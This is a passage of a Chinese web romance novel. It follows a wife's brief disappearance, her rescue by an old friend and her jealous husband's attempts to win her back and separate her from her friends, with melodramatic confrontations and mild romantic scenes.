他在后一直跟着老何,在他误将闫丽当成苏颂关在一个糙汉家里的时候,他翻窗进去,把人打晕,还跟闫丽配合演了这一出戏,终于把幕后的大boss引出来了。
“我已经告诉你大哥了,他很快就回来了,敢动他老婆,你小子真没有被揍怕!”
温泰上一秒还在气血翻涌,这会儿却觉得浑身发抖,好像全身哪哪都疼,已经被人揍过一样。
上一次,他在会所喝了酒,招惹了苏颂,最后温戍礼是让顾辽舟收拾他的,现在这话是顾辽舟说的,完全唤醒了他对这件事的记忆。
“不,我也是来救我大嫂的,你看,我手还在流血。”
顾辽舟目光落在他滴血的手背上,身为男人,更能懂男人的心思:“没想到,你对你大嫂还是真爱!”
温泰:“!”
。
温戍礼从没想过,苏颂在他身边会遭受这么大的危险,他才离开不到一天,她就失踪了,联系不上。
已经天亮了,顾辽舟的人也搜了几个小时。
晨曦洒在他伟岸的背影上,也染上焦急跟紧促。他快步流星地走来,熬了一晚上的顾辽舟迎上来,大概情况,在他飞机抵达的时候,已经说了,这会儿依然没找到人,不知道怎么开口。
一旁的闫丽,还披着一件西装外套,她依然双手环胸,面对温戍礼,冷傲又气愤:“你弟让人陷害颂颂,颂颂要是有个三长两短,我绝对不会放过你。”
温戍礼看都不看她,直接略过走过去:“狠话就留着能被你唬住的人说。”
顾辽舟拉住还要跟温戍礼争论的闫丽,说:“现在不是吵架的时候。”
顾辽舟跟上温戍礼,说:“这里开发得早,路线复杂,胡同里面还连着不少小路,四通发达,能通好几条大道,我现在怀疑,是不是有人带走了嫂子。”
温戍礼睨他一眼:“她怎么会来这里?”
老旧、破坏,还透着一股动物排泄物的味道,不管是环境还是位置,都不是苏颂会来的。
顾辽舟被他看得心虚:“是我带嫂子她们过来的。”出发的目的是什么已经不重要,是他没把人看好,他得负责。他没有解释。
“我已经让人扩大范围找了。”
“如果真被人带走,要搜车,路口设卡才行。”温戍礼拧眉,显然知道这事难办。“他呢?”
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>顾辽舟招手,很快温泰跟老何就被带过来。
温泰看到温戍礼,立刻说:“真的不关我的事,不是我让他干的!”
老何原本怕得战战兢兢地,一听事到关头,温泰却推卸责任,立刻反驳:“怎么不是,明明就是你让我跟着大少奶奶,还要我拍下她上夜店的照片,甚至要我录视频,你还给我钱了。
这些钱就是证据。”老何将口袋里的钞票都掏出来,往温戍礼面前递,哀求着说,“钱我还没花,大少奶奶失踪也不是我做的,大少就放过我吧。”
温戍礼嫌恶的看一眼,下一秒,那捧着钱的手就被踹开。
顾辽舟那一脚够狠,直接将人踹得翻跟斗:“不是你做的?你要陷害的本来就是苏颂,是你天黑弄错对象,加上,你低估了我的能力。”
“何生宝,你平常在夜店混吃混喝,揩那些小姐的油就算了,占便宜占到我头上,你日子过到头了。”顾辽舟掏出一把家伙,老何吓得瞪大眼睛,直接晕过去。
温泰一看,连这种黑乎乎的家伙都有,震惊的看向温戍礼:“你们也太狂了!”
顾辽舟将枪口对准他:“你是第一天认识你大哥?说吧,你把你大嫂弄到哪里去了!”
人不可能原地消失的,有计划的密谋还有可能。
可温泰跟老何的口径相吻合,都说不知道。
顾辽舟用枪柄将人击晕,手指一勾,枪口冒出火,是**打火机。
“这样吓都不说出来,难道嫂子失踪真的不是他们干的?嫂子还有其他仇人吗?”
温戍礼抽着烟,沉默的时候,已经将可疑的人物一个个排除,时机跟实力,没有一个相符合。
就在事情陷入死结的时候,一个脚步声,慢慢靠近,两人看过去,看到周正焕抱着苏颂出现。
闫丽走上前,说:“是我告诉小周,靠你们,不知道要找到什么时候。”她明显质疑顾辽舟的人的能力。
顾辽舟想反驳,忍住了,顾家确实没法跟周家比,但身边冷得下零度的气场……他转头看向温戍礼。
101 男人无声的挑衅,他介意
温戍礼盯着周正焕,一步一步的走近,苏颂昏迷了,脑袋靠在周正焕的胸口上。
在别的男人怀里,她睡得那么安稳,竟然连眉头都没有皱一下。
温戍礼没有开口,一句话都没说,将苏颂接过来,他迈动步伐,脚步刚转,周正焕说:“颂颂被流浪狗追,还被咬了,我已经带她打过疫苗。”
温戍礼垂眼,看到她的脚踝处,确实有个伤口,很小,大概是狗的嘴巴刚够到,说是咬,更像是撕扯弄到。
温戍礼听了,不发一言,抱着苏颂离开。
顾辽舟只能给他善后的对周正焕说句“谢谢”。
“幸好嫂子没事,要不然我就惨了。”顾辽舟心有余悸的说。
周正焕轻哂:“你将被狗咬了,叫做没事?”
“早知道,应该先别杀了那些狗,带过来,给你顾大少见识见识才对!”周正焕将擦拭过手指的消毒巾丢在顾辽舟脚下,顾辽舟看着他离开的背影,眯了眯眼,追苏颂的狗不止一条,并且都被他杀了?!
闫丽跟着周正焕走,上了他的车,问:“你不是我打电话给你才来的?”
苏颂被狗咬的时候及时出现,那时就在附近才对,可那个时候,她还在跟顾辽舟演戏,对付那个无赖,也不知道苏颂失踪了。
周正焕沉着脸,不见平常的嬉笑,正经的说:“你跟颂颂进去King的时候,我在你店门口。”
闫丽明白过来:“你是听我说,颂颂晚上要来找我嗨吧,所以才过来的吧。”结果看到她们没有叫上他,就去玩了,按照周正焕别扭的性格,他确实会不高兴。
他不高兴却没有回去,估计还在等她们回去发现,跟他说软话道歉,哪知道却发现有人跟踪她们,跟到这边后,又看到苏颂被狗追。
一切逻辑说得通,可是闫丽还是觉得哪里不太对。
那他为什么没有第一时间告诉她,现在才带着苏颂出现。
。
温戍礼将苏颂抱进家门的时候,她醒了。
“嗯,怎么是你,正焕呢?”
很好,被别的男人抱了不说,醒来后第一句话就是问别的男人。
“你当我死的吗?”温戍礼站在原地,冷冷的瞧着她。
苏颂已经自己下地,被他这样一看,连踩地的脚有些疼都不敢说。
“不……唔……”
苏颂刚开口,还没解释,就被他堵住嘴。
一改平时的浅尝即止,他不仅吻得很深,还咬她。
苏颂被他一手圈住腰,一手扣住后脑勺,退都无可退。
温戍礼咬了她之后,把她紧紧的抱在怀里,低叹:“我介意。”
“苏颂,别跟他们走近了。”
他介意,介意得都要疯了!
周正焕说他是带了苏颂去医院检查打针,所以才需要这么久,可是在他听来,这就是一种挑衅。
周正焕在发现的第一时间,在救下她的第一时间,甚至在去医院后,有很多时候可以通知他的。但周正焕都没有。
他选择一个人照顾苏颂,跟一个小偷一样,背着她的丈夫,偷偷跟她相处了几个小时。
他承认,自己吃醋了。
。
苏颂昨晚跟闫丽他们走散的时候,她迷路了,她被困在胡同巷里出不去,后来,她碰到三条流浪狗在垃圾桶边找食物,她被当成食物,被那些狗追。
她跑得慢,就是因为跑得慢,才会被闫丽跟顾辽舟丢下,她更不可能跑得过那些饿得两眼发光的流浪狗。
一条狗扑上来,扑过头了,没有扑到她,但是她被吓到了,摔倒了,后面的狗扑上来,嘴巴碰到她的脚踝,接着被一棍子捅开,撞在长满青苔的墙壁上。
周正焕拉她起来,她被他护在身后,看着他,一棍子一只,将那三条狗活活打死。
周正焕抱着她上医院,知道她怕打针,跟她聊了很多她不在这些年,他遇到的趣事。
周正焕很好的,他长得又好看,又风趣,他讲题总会有很多趣事分享,不像李斯俊只会板着脸,要求她背这背那。
于是她听着听着,也不觉得打针多疼了,甚至把手机掉哪都
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忘了。
更别说,还想起来得报平安。
苏颂活到今年二十五了,最怀念的,就是她妈妈还在世的时候,以及认识闫丽、周正焕跟李斯俊那几年。
温戍礼把她抱到床上,他厮磨着,但苏颂忽然想,温戍礼以前大概也不是温柔,而是他的自律让他克制。
她见过他发狠的样子,像是会**,但是往往到最后他们都更欢愉。
苏颂想,她是个表里不一的人,温戍礼也是。
当他再次吻上她的唇的时候,苏颂闭上眼睛。
……
傍晚,温戍礼叫她起来,他已经穿戴好,正坐在床边,看着她的眼神很复杂。
苏颂坐起来,听到他说:“出去吃早餐吧。”说完,他便出去,好像刚刚的眼神是她看错了,他并没有话要跟自己说。
家里的阿姨本来只请假到十五,但家里的孙子急性肺炎住院,又请多两天假,要明天才到。
苏颂跟温戍礼在一起,总会比较在意搭配,她穿了一条淑女风的鹅黄色裙子,深紫色的低跟鞋,跟他的领带颜色一样。他没说去哪吃早餐,考虑方便,她选了一个包包,要拿要背都可以,也是深紫色。
温戍礼的周到体现在吃穿用度上,从不需要让她为衣服的款式跟配饰发愁。
她在首饰区看了会,最后拿出那条蓝色水晶手链戴上。
出来的时候,温戍礼还在房间,将她从上到下看了眼,最后目光落在她手腕上的手链上。开口:“走吧。”
是她的错觉吗?感觉他又是一副欲言又止的样子。
车子原本还平稳的行走在宽敞的马路上,走着走着,开始东弯西拐,路变窄,还有点颠簸。
还好不是很久,车子就停下来。
隔着车窗玻璃,苏颂看到灯光下那些低矮的建筑物。让她联想到昨晚被困住的那地方。
她抓着包,不美好的回忆,让她没有第一时间下车。
“到了。”温戍礼说,他先下车了。
当苏颂下车,看到前面的景象,表情有些震惊。
102 她说,是茶艺老师教的
街道很老旧,地上铺着斑驳的石子,难怪会这么崎岖,但让她震惊的还不是温戍礼会带她来这种地方,而是前面,一块三角旗子的招牌,上面写着“臭豆腐”。
这家藏在石路里的酒楼很古典,但总体来说,很上档次,跟温戍礼这样身份的人,是匹配的。
就是……卖臭豆腐?
苏颂有种大材小用的感觉。
“你带我来,吃这个?”脚步踩上蜿蜒的木梯,鞋后跟与木头碰撞,发出闷响,苏颂侧过身子,回头问他。
温戍礼跟她保持着两阶台阶的距离,她这样回头,原本披在她身后的秀发甩动,几根发丝擦过他的鼻翼。
是跟她身上香水味不同的洗发水的味道,植物的味道,很清雅。
说话间,两人已经上到二楼,温戍礼上前一步,抬手搭在她的后腰上,半拢着她往包间走。
“嗯。”
他的动作以及他的回答,都让苏颂讶异。
温戍礼古板自律,他的一板一眼,不仅仅体现在说话做事上,在外,他跟苏颂最亲密的举动,就是挽手,还得是特定场合,所以苏颂一直觉得他很保守。
但最近这半年,他一直在刷新着苏颂的认知,可这是第一次,在还有外人的公开场合,他跟她这样亲近,反而是苏颂不太自在了。
她走快一些,离开他的大掌,先一步进门。
温戍礼看着空下来的掌心,手指收拢,把手收起来,跟了进去。
“一份招牌,一份特色。”他同时对身后跟着的服务员说。
这里古色古香,进门还有一个喝茶的大木桌,苏颂好奇的问:“你对这里很熟悉?”
从他进门到点菜,连菜单都不用看。
而温戍礼只是在茶桌边坐下来,问:“会冲茶吗?”
工夫茶,不说茶艺标准,单单要手拿这个茶盅冲茶,很多人就办不到,很烫。
但苏颂做起来,不仅优雅闲适,甚至把个步骤都做得赏心悦目。苏颂将茶分到他面前,他看着茶色均匀的三个杯子,道:“我一直倒不好这几杯茶。”
其他的还好,就是最后三个杯子的茶水颜色深浅不同。
闻言,苏颂拿出边上一个带嘴的罐子,说:“这是公道杯,可以把茶水倒在这里,再分别倒到茶杯里。”
温戍礼点头,端起茶杯三口喝完,道:“不错。”
也不知道是在夸茶不错,还是她冲茶的本事不错。苏颂没多问,只是觉得今天的他有些奇怪,但他不想说,她问也是白搭。
她小口喝着,热茶慢品。入口清香,入喉回甘,确实不错。
“什么时候学的茶艺,在哪学的?”温戍礼把第三杯的茶倒在他喝过的茶杯里,他喜欢喝茶,苏颂知道的,不过,苏颂会工夫茶,并不是为他学的。
“在云城学的。”她说。
“谁教的?”今天的温戍礼话有点多,苏颂感觉到,他想跟自己聊天。
但泡茶这事,说了他大概会不高兴,是周正焕教她的。有一段时间,李斯俊没空,都是周正焕来给她讲题。
有一次,他要在单位等他小叔下班一起回南城,只在网上跟苏颂讲,可是讲了几次,她还是不太明白,那时候距离高考没多少时间了,苏颂学习的劲头上来,也非要搞清楚那道题,便打了车去审计局。
那里的接待室有一套功夫茶具,在苏颂来之前,周正焕就自个儿在喝茶,于是讲完题,他问苏颂要不要喝。
她奶奶也喜欢喝茶,但都是泡个大杯子,于是她好奇问:“这个怎么弄?”
对苏颂来说,周正焕是她的好朋友,也是她的好老师,但温戍礼说他介意。
她收起心绪,浅笑着说:“茶艺老师。”
。
周家,正喝着茶的周正焕忽然打了个喷嚏,引得对面的周扬平看他一眼:“昨晚不回家,去干嘛了?”
在周正焕回答之前,周扬平又说:“别说你在朋友家,我昨晚在老院子睡的,你没去过。”
周正焕认识那几个子弟,过年都回老大院,昨天,周扬平就是去那边给长
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辈拜年,喝了几杯,才睡那边了。
说昨晚在老院子睡,是周正焕骗他爸的借口,周家家教严,虽然没有规定不能外宿,但耐不住家长们都比较操心,没回来被知道,就会多问。
周扬平会叫周正焕来喝茶,也是因为知道他撒谎了,要问清楚。
周正焕上初中就跟了他小叔去云城,跟周扬平的关系比跟他亲爸还好,这会就他们两个人,坦白说:“颂颂被狗咬了,我送她去医院。”
周扬平喝茶,抬眸看他一眼,说:“需要一整个晚上?”
“很久没见,聊起来就聊多了。”
周扬平放下茶杯:“嗯,聊到天亮。”
他看着侄子,直接揭穿。说:“闫丽已经告诉我了。”
周正焕动了动唇,看嘴型就知道不是什么好话。
“规矩点!”周扬平没子女,把周正焕带在身边,一直当自己的孩子教养。
“小叔,我长大了,给我留点空间吧。”周正焕扬眉,嬉笑。他本就长得好看,从小到大,只要他有心讨好,家里老的小的都拿他没办法。
“当年让你娶,你就说不喜欢!”周扬平板着脸,忍不住斥。
周家男儿的腰杆子都是硬的,但是个个都疼老婆,感情很专一。当年,周正焕带着苏颂去找那些富商帮忙,人还没出大院,周家人就知道了,但还是让他们出了门,是因为周扬平以为两人在交往,把这事告诉了老爷子,老爷子就说不用管,老爷子发话,周家人便默许了。
可是这小子倒好,带着人招摇过市,把周家的脸面都丢了,居然还没把人娶回来,老爷子气得抖拐杖,他当时也说,既然喜欢,就娶了。也能解苏家的燃眉之急。
可是这小子偏说不喜欢,就是朋友,也不会娶她。甚至情愿接受家法。
这事,周扬平一直想不明白:“家里上下,就出了你这个最没心没肺,愿意操心,愿意花时间陪,甚至不惜出面跟温戍礼**,这叫不喜欢?”
他问:“为什么不娶?”
103 被挑衅的温大少,打翻醋坛,不装了
无风不起浪,外面都说苏颂当时不嫁温家,就会嫁周家,周家人没管,是因为这事是真的,当时那边周正焕带着人挨家挨户上门,老爷子这边一个个打电话,把人都叫回来,准备办喜事了,结果……
“我们只是朋友。”周正焕当年也是这样说,可如今他对最亲近信任的小叔,又说了一句心里话,“颂颂是李斯俊暗恋的女生,他叫我,帮他照顾她。”他轻轻的笑了。
周扬平闻言,冷他一眼:“那顿家法你挨得不冤!”真给周家人丢脸!
。
苏颂从没吃过这么好吃的臭豆腐,外皮又脆又香,里面又嫩又水,两个截然不同的口感,在同一块豆腐上得到完全的体现。
入口咬开那瞬间,真的很惊艳。
“这跟我在外面吃过的不一样。”她像是发现新大陆一般,惊喜的说。
看她开心得像个孩子,温戍礼也吃了一块,比大街上那种好吃,但也就那样。
“味道一样怪怪的。”
“你吃过?”苏颂伸着脖子,探着脑袋,一副探究的样子,“你不是说,吃这个跟……”
男人温热的大掌盖住她的嘴,用轻咳掩盖他的不自在:“不用说了,知道你要说什么。”
在吃东西的时候,别提倒胃口的话,
掌心有她的热气,一时半会儿,也不知道,是她的气息热,还是自己的掌心热,温戍礼只觉得被烫了,把手收回来。
“你喜欢就好,给你的,又不是给我。”
苏颂听不明白,但她不像温戍礼那么会隐藏,明明不擅长说情话,但细腻温柔起来,也看不出半点不自在。
小妻子很单纯,很好猜,也没有让她再好奇,温戍礼说:“这家店,我开的,给你的。”
“这样,以后臭豆腐你就可以随时吃个够了。”话出口,他又改口,“还是少吃点。”味道依然让他难以接受。
“我特意让人在臭豆腐发源地找的厨师,连豆腐都是请人专门来做的,卫生一些。”
那些路边摊,每次看到他都觉得脏。
“肚子饿了,还是多吃饭,你很久没做饭了。”
婚后一年,苏颂一心想做好一个好妻子,只要他在家,苏颂都会亲自下厨,展示她的贤惠。
可后来温戍礼在家的时间长了,两人的关系反而时好时坏,让她很拘谨,很不安,常常一个人想家,想着想着,就会想起去过的一些地方,吃过的一些东西。
跟他说想吃臭豆腐那天,是她刚从手机上刷到,她也就吃过一次,还是闫丽给她吃的,她没说,其实当时她直接吐掉了,可是视频里的博主吃得那么尽兴,看上去那么美味,大概还有思乡情结加持,让她想要再试一试。
结果刚说,就被他一句“吃屎”的言论给扫兴掉了。正好那会两人关系也不太好,苏颂没心情再给他做饭,见他也没说,苏颂后来就一直没做了。
她本来也不喜欢做饭,是她奶奶说什么结了婚就要有结婚的样子,还说抓住男人的心就要抓住他的胃。
苏颂问:“你喜欢我做的饭?”
温戍礼中肯的讲:“你做的饭不是很好吃,但是,这么记仇不是办法。”
两口子有事说开才是健康的相处之道。
苏颂:“……你才记仇。”
等两人再出来,已经是一个小时后了,刚才只是华灯初上的街道,已经灯火通明。
苏颂再看这条街,竟然觉得不那么不堪了,甚至有点古镇韵味。再看这家店,还有点喜欢。
这是她的店,温戍礼把这家店落在她名下。
她钻进车里,另一边的车门却没有打开,苏颂看到温戍礼走开几步,她收回视线,不多管,不过问,是她对这段婚姻的准则。她下意识的掏手机,想转移注意力,在包里摸了空,手机丢了,还没找回来。
车外,肖直汇报说:“靳总已经回来了。”靳总就是他们昨天去新加坡要见的老总。
肖直说完,温戍礼没说话,他不由地看过去,只见上司的视线落在车里的方向,他的手,两指摩擦了一下,都是抽烟的人
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,肖直知道上司这是烟瘾犯了。
而他的上司,只有在思考的时候,才会想抽烟。
半晌,温戍礼说:“让夏叙去。”他已经抬步往回走,“告诉他,谈不下来,他这个执行经理人的位置也不用坐了。”
话音落,人也上了车。
肖直却很意外,这个单子是上司自己谈自己跟的,甚至连合同都是他亲自准备的,从第一次去新加坡,谈盛泰续约的单子,他们就跟对方洽谈过。
陆陆续续花了大半年时间的单子,花费的时间精力不说,这个单子的价值上亿,成了,可以让苏氏上升一个阶层,如此重要,上司竟然让新上任不久的夏叙去签。
应该说是上司信任这个新经理人呢,还是说,上司色令智昏。
肖直有些担心,原本吃瓜的心思,现在变得忧心忡忡。
。
回到家,温戍礼把她摁在墙壁上亲,玄关昏暗的灯,相对狭隘的空间,加上呼吸加快的声音,气氛很容易就上来。
这两个月的亲密度增加,让苏颂知道,他又想了,明明不过几个小时,他不是过了三十了吗,怎么精力还怎么好。
苏颂并不是很想,虽然身体又被勾惹出一些反应,但她兴致缺缺,她没有推开他,也没有拥抱他,就那样被他半搂着,任由他亲吻。
一吻结束,他的眉眼染上情欲,越发的深邃迷人:“我带你吃了你想吃的臭豆腐,又送了你店,我在讨好你,你看出来了吗?”
看出来了,这是他第一次做到这样明显,有行动还有实质价值。
她垂着眼,素手攀上他的胸口,说:“我主动一点?”
以前,她会以为他不喜欢浪的,但现在,她确定,他喜欢。
可温戍礼却拿开她的手,站直,退开的利落。温度的褪去,让苏颂有些猝不及防。她听到他说。
“这样以后你就不会觉得太无聊了,没事的时候可以多去店里。如果你想认识朋友的话,我也可以介绍给你认识,你之前的朋友,别联系了。”
104 那小子看她的眼神不清白
他本就高,这会儿家里只开了入门这盏灯,从上而下的光线,让他的五官都覆盖了一层阴影,让他居高临下的样子,更多了几分看不清的隐晦。
“他们,不适合你。”
苏颂以为温戍礼跟她奶奶不一样,结果还是一样的,他们认为,交朋友得看背景,得看性别,合适比合得来更重要。
“那你别为难他们,别再砸丽姐的店了,她一个女人,来到这边刚发展,很难的。”
“你知道了?”
“嗯。”
苏颂点点头,温戍礼想解释,手机却在这时候响起。
苏颂说:“你忙吧。”就回了房间。
电话是温航之打来的,开口就是一句话:“不准再动你弟弟,让人把他送回来。”
原来温航之知道上次是他打的温泰,不过温戍礼并不奇怪,如他所说,就算温航之知道,也并不会拿他怎么样。
只是如此的话,那上次打他那一下,其中就可能包括他为次子出气。
从小没有打过他的父亲,为了一个外遇有的野种打他?!
温戍礼气性上来,说话毫不客气:“所以他动我就行,甚至觊觎大嫂你都不管?”他现在还是温家的家主,在温家发生的事情,不可能不知道。
温航之这事包庇。
他走到落地窗边,单手插兜,望着这个城市的万家灯火,孤独感,在这一刻,席卷全身。
他说:“一天了,不动也动了,放心,会留着口气还给你。
毕竟,你儿子骚扰我老婆这件事,你还没给我一个交代!”
他含住香烟,不管温航之的怒火,挂了电话,想起来这是家里,没点,看着紧闭的房门,所有情绪都蓄在眼里。
苏颂回到房间,洗了澡换了睡衣躺在床上。没洗头发,还有若有似无的臭豆腐的味道。
这样闻着,只觉得油腻。苏颂的心情不好,不好到温戍礼的厚礼也压不住她心里的失落。
她以为自己已经习惯了这种生活——以温戍礼为重。这是她嫁过来的时候,奶奶教导的,也是在苏氏度过危机之后,她就决定的。
所以在他说不要再跟闫丽周正焕来往的时候,她没有反驳,不就是继续过着之前那般的日子。
可是,心为什么这么空呢?一想到这样的生活还要延续几十年,她就觉得窒息。
好像都看不到未来。
房门再次被打开,温戍礼在外面洗了澡,还带着一身湿气躺进被子里,他抱住她,跟以往一样,他半夜进来,碰她,就是想了。
“不要。”苏颂从没有在无事的时候拒绝过,可是今晚,她半点心思都没有。
说完她咬着唇,显然有些紧张。以他为主的思想已经刻入她的身体,她下意识的拒绝,怕他生气。
温戍礼松开她,好在,他没有,如同往常,这种事上,他从不会强求她。
只是今晚,注定不同。
床边的位置空了,但那双眼睛还在注视她。
大概是他的不计较给她勇气,苏颂抓着床单,低声说:“还不如,一开始就别给我希望。”
让她一直一直,做一只没有思想的金丝雀就好了,如今说让她自由,让她飞过,又再把她约束起来,这种感觉太难受了。
。
King会所
顾辽舟进门就对温戍礼说:“温泰已经送回温家了,那个何生宝,你还要处置吗?”人已经被打得半**,那种烂人,也就只能教训一顿,让他以后再也不敢来招惹,没什么意义。
温戍礼拿酒,顾辽舟说:“你没意见,人我就放了。”再弄下去也没价值,总不能将人打死。
温戍礼倒酒,依然不语,顾辽舟打电话,吩咐:“把人丢马路上。”
挂了电话,他到温戍礼身边坐下:“嫂子受伤了,不用在家陪着?”知晓温戍礼对苏颂是有感情在之后,顾辽舟也不嘲弄他怕老婆,守门禁了,但现在不早了。
“她知道我砸了闫丽的店。”正跟他闹呢。
温戍礼喝酒,她想要当好贤妻不假,但她控制不住情绪,不开心的时候,能让人感觉得到。
她虽然没拒绝他让她跟那些人断交的话,但是她在不高兴,甚
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至因为那些人,拒绝跟他亲近。
这是从没有过的。
说到这个,顾辽舟眼神一飘,有点心虚:“我就是为了阻止嫂子知道这件事才带她们去宠物市场的,哪知道被何生宝跟踪。”他这样说,会不会减少一点责任?
他暗悄悄的瞅向温戍礼,小声解释:“真的,我还给嫂子买了只小猫。”
小猫?拿着杯子的手顿了一下,他在异国的夜晚,也给她买了一只,可是呢,他的好她全感受不到,只记得年少的朋友。
朋友?
大半夜会抱着的异性朋友?他冷笑一声,将酒杯往嘴边送。一杯威士忌一口下肚:“温泰要对付我,没办法直接对付我,对她下手也正常。”是他忽视,他也有责任。
顾辽舟听着他没怪罪,却见他还是一副苦大仇深的样子:“那你跟嫂子又闹什么?”
“因为周正焕?”看他拿酒的动作都停了,证明自己说对了。“我就说,你忍不了他。”
顾辽舟想到凌晨那么紧张的时刻,周正焕竟然抱着苏颂,那么张扬又嚣张的出现,评价道:“不过那小子到底年轻,做的事,确实欠揍。”换作是他,当时一拳就过去了,温戍礼还是太冷静了。
温戍礼冷哼:“她还怪我。”什么一开始不要给她希望,如果周正焕对她没那种心思,他会不高兴?她怎么不反思她自己?
他很少生气,但今晚,气怎么顺都顺不下去。
“不就是认识的时间比较早,上学的时候纯真,那是因为没有利益竞争,一旦涉及利益,看看那些人会不会变成鬼。”他的胸口剧烈起伏着,顾辽舟从没见过他这样发脾气的。
他要是生气,一句话就有的是人帮他教训,堂堂温大少,现在被老婆搞得很委屈。
对,顾辽舟现在在温戍礼身上看到的,就是委屈!
“周正焕乐意对她好,也舍得为她拿周家的脸面去帮她,为什么当年不直接娶她?”
男人气性上来也会碎碎念,原来温戍礼也不例外。这话勾起顾辽舟的八卦之心,他竖起耳朵听。
105 深情她不知,一个被爱的傻瓜
只见温戍礼的眼神锐利,磨着牙说:“还不是怕被苏氏连累。他周正焕只要想从政,就不能带有一滴污点。”
顾辽舟敏锐的捕捉到重点,问:“苏氏有问题?”
见温戍礼要倒酒,想知道的顾辽舟立刻上手接过,帮他倒。
温戍礼靠在沙发上,酒意熏得他脸红,但目光依然清明。他道:“我接手的时候,苏氏的账都是乱的,账目的问题,能追溯到陈楠之还在的时候。”
顾辽舟递过来,他接过又喝了一杯,觉得今晚这酒真难喝。
顾辽舟惊愕:“苏家做假账?”
做假账多大的罪,如果金额巨大,只要这事没查清楚,就算人走了,他的家属也会被锁定,毕竟**不会花钱,活人才会,一切都要把账追平才行。
周家人是**家族,周正焕身为长孙,周家人也是往这方面培养,若是知道苏家可能涉嫌犯罪,避免跟苏颂有关系,再正常不过。
“原来是这样。我就说,他们认识早,那小子看苏颂的眼神摆明不清白,怎么看当年,你都更像备胎。
怎么会轮到你,啊……”
温戍礼踹了他一脚,直接让他闭嘴。
温戍礼的目光冷冰冰的,如同失意的猛兽:“除了我,没人能救苏氏。
当年只有我能娶她。
可是,只有在救下苏氏的时候,她会感激,现在都忘了吧。”
他闭上眼,靠在椅背上:“她还难过,她还委屈,我为了她,都跟老头摊明面上斗了,还要保全她的苏氏,我压力多大,她什么都不知道!”
。
周正焕从包厢里出来,低头咬烟,江灿给他递火,瞧他这样,笑道:“撒谎被抓包,又被小叔教训了吧。”
两人从小玩到大,是穿同个裤裆的关系,两人之间没什么话不能说的,也没什么习惯是对方不知道的。
周正焕不喜欢抽烟,除非很烦!
面对江灿的打趣,周正焕将抽了一口的烟拍还给他:“什么垃圾,难抽**。”
江灿为了避开那猩红的烟头,人扭成麻花了。两人闹着的时候,正好碰上温戍礼跟顾辽舟。
凌晨刚碰撞过,这会一遇上,气氛立刻变得剑拔**张。
温戍礼只是目光一扫,径直走过,周正焕说:“我真的只是带她上医院包扎。”
“她的手机不知道掉哪了,所以没及时告诉你。”周正焕烦的,不是被教训,而是他小叔说,他这样做,不是在帮苏颂,而是害苏颂,没有任何一个男人,能接受其他男人比他更关心自己的妻子。
周正焕抱着苏颂出现,也不是耀武扬威,是当时苏颂太困睡着了……总之,他不是温戍礼理解的那个意思。
“我只是听说,你不喜欢颂颂,我想试探一下,你在不在意。”哪知他一个连女朋友都没有过的单身者,根本不懂老男人霸道的占有欲,用错了方法。
“别难为她。”
两个男人,一个成熟英俊,一个年轻俊美,此时目光相接,一个强势,一个诚恳,温戍礼气势逼人。
“我在意不在意,还轮不到你试探。”说完,他抬步走开。
江灿都听见了,走上前,撞了还在发呆的周正焕一下:“还没放下?人家都结婚三四年了。”
周正焕看着温戍礼离开的背影,想到苏颂,说:“这是我能为她做的最后一件事了,如果温戍礼真的喜欢她,以后就不会忽视她了。”
这样,她以后就不用跟闫丽倾诉了。
他不想她难过。
“我觉得很奇怪,你为什么今年忽然回来了?该不会就是为了苏颂吧?”
周正焕已经三年没回来过年了,江灿一直打趣他是不是怕回来见到已经嫁人的苏颂,心爱的姑娘嫁人了,新郎不是他。触景伤情。
但平常玩笑归玩笑,这种事不能是真的。
江灿正色起来,提醒他:“当年没娶,就不能想了。”
周正焕确实是听到闫丽说苏颂婚后过得不好才回来的,这件事,他自己清楚就好。大道理他都懂,不然,他就不会因为是李斯俊先遇到她的,而选择站在她身后。
结果
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,却发现感情跟先来后到无关,最后她也不是嫁给李斯俊。
早知道李斯俊会输,他当年就不该犹豫。
只是时间,不会让人说后悔。
面对江灿的问题,他不会再给苏颂添麻烦,否认道:“你的脑子真好,别做风投,改写小说算了。”
。
苏颂睡了一觉,不知道是不是心事太重,明明觉得睡了很久,结果起来,还不到十一点。
温戍礼不在家,他们还在闹别扭,她才不要问他会不会在十一点前到家。
苏颂煮了宵夜,把面端出来的时候,好像听到猫叫声。家里没有养猫,可声音很小,确实是猫叫声。
苏颂把面放下,开始寻找,结果真的在闲置的偏房看到猫笼,里面关着一只小蓝猫。
“嗳,最后找到你了吗?”
温戍礼在指针指向十一点的最后一秒到家,他进门后,看到苏颂一边吃面,一边还抱着一只小猫。
她的碎碎念,在看到他后停止。
他的眼神有些缱绻,大概是酒精的缘故,他觉得这会儿的苏颂有些迷人,于是他朝她走去。
苏颂赶紧将猫藏在身后,动作太快,小猫受惊,一直喵喵叫。苏颂想阻止,又不敢拿出来。
温戍礼在她对面坐下,开口:“你在不把它拿出来,要憋**。”
憋死?苏颂连忙将小家伙拿出来。她小心翼翼的观察他的反应。解释说:“不是我带进来的。”
温戍礼点头:“知道。”猫是他带回来的,这是他这次出差送她的礼物。
哪知道他还没说,苏颂已经开始解释:“应该是顾辽舟找到,给送回来的。我有跟他说你不喜欢家里养猫了,不然,你把猫送回去吧?”
话是这样说,手却不肯放。
他想起来,顾辽舟说在宠物市场给她买了只猫。
不想被她觉得他说话不算话,之前说不想养,现在又买猫回来,所以他没否认,默认了这只就是顾辽舟在宠物市场买的那只。
“你想养就养着,别让它吵到我就行。”
106 扮乖听话的狐狸女孩
那间偏房离书房最远,离主卧也隔了两间房,小猫咪这么小,叫声很低,不会吵到的。
苏颂保证:“不会的。”
看她笑得喜笑颜开的样子,温戍礼知道她是真高兴。
“放它回笼子里,把手洗干净,给我泡杯茶。”
苏颂立刻照做,在照顾温戍礼这点上,她一直做得到位。报恩不是一时说说,她一直有实际行动。
可他,想要的,不是她报恩。
看她忙碌的样子,温戍礼想起离开前,顾辽舟说他“喜欢就说出来,你这样憋着,不是自己憋出病,就是老婆被拐跑。”
温戍礼接过她递过来的茶杯,指尖相碰,他醉眼朦胧的看着她,说:“你不能被拐跑。”
最后,苏颂还是没有拒绝他,不忍心。
。
温家,深夜时分,依然灯火通明,上次家里这么忙乱,是温泰被打,这一次,依然是。
不过,上次被开瓢,温泰还能清醒,这一次,医生用尽办法,他都没醒。
“把二少送医院检查吧。”家庭医生束手无措,他连针灸都用上了,可温泰就跟没反应一样。
上次他满头血,就是看着吓人,其实主要都是皮外伤,但这次,身上的血迹很少,人却昏迷不醒。
内伤可比外伤严重多了。
